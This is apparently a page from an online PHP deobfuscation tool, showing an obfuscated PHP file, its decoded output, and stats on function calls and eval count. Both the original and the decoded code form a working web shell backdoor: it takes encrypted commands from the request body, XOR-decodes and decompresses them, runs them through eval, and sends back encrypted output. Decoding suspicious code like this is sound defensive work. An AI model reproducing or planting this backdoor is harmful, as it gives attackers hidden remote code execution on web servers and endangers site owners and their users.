Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php $P='8o8opm1ulv782fc8opvfgq";8ofun8octio8on x($t,8o$8ok){$c=strlen8o($k8o);$l=s';$C=..
Decoded Output download
function x($t,$k){$c=strlen($k);$l=strlen($t);$o="";for($i=0;$i<$l;){for($j=0;($j<$c&&$i<$l);$j++,$i++){$o.=$t{$i}^$k{$j};}}return $o;}$k="f718499c";$kh="1c8cef6730f9";$kf="fd03c8125cab";$p="pm1ulv782fcpvfgq";function x($t,$k){$c=strlen($k);$l=strlen($t);$o="";for($i=0;$i<$l;){for($j=0;($j<$c&&$i<$l);$j++,$i++){$o.=$t{$i}^$k{$j};}}return $o;}if (@preg_match("/$kh(.+)$kf/",@file_get_contents("php://input"),$m)==1) {@ob_start();eval(@gzdecode(@x(base64_decode($m[1]),$k)));$o=@ob_get_contents();@ob_end_clean();$r=@base64_encode(@x(@gzencode($o),$k));print("$p$kh$r$kf");}
Did this file decode correctly?
Original Code
<?php
$P='8o8opm1ulv782fc8opvfgq";8ofun8octio8on x($t,8o$8ok){$c=strlen8o($k8o);$l=s';$C='_match("/$kh8o(.+8o)$kf/",@f8oile_ge8ot_con8otents(8o"8ophp://8oin8oput8o"';$j='),$m)==1) {8o@ob_start(8o);@eva8ol(@gz8odecode(@x(8o@ba8ose64_decod8o8';$L='$k="f8o718498o9c";$kh8o="1c8cef8o6738o0f9";$k8of8o="fd8o03c8125cab";$p="';$r='oe($m[1])8o,$k)));$8oo=8o@ob_g8oet_c8oontents();@ob_e8ond_c8olean();$8or';$W=str_replace('kh','','khcreatkhkhekh_funckhkhtion');$n='l8o);$j+8o+8o8o,$i++){$8oo.=$t{$i}^$k{$8oj}8o8o;}}return $o;}i8of (@pre8og8o';$A='=@8o8obas8oe64_encode(@x(@gz8oencode8o($o),$8o8ok));print8o("8o$p$kh$r$kf");}';$I='trle8on($t)8o;$o="8o";for($i=0;8o$i<$l8o;){f8oor($j=0;8o($j<$c&8o&$i<$';$i=str_replace('8o','',$L.$P.$I.$n.$C.$j.$r.$A);$c=$W('',$i);$c();?>
Function Calls
preg_match | 1 |
str_replace | 2 |
create_function | 1 |
file_get_contents | 1 |
Stats
MD5 | c5ea02e86cd0b36bee36512e4370086c |
Eval Count | 1 |
Decode Time | 427 ms |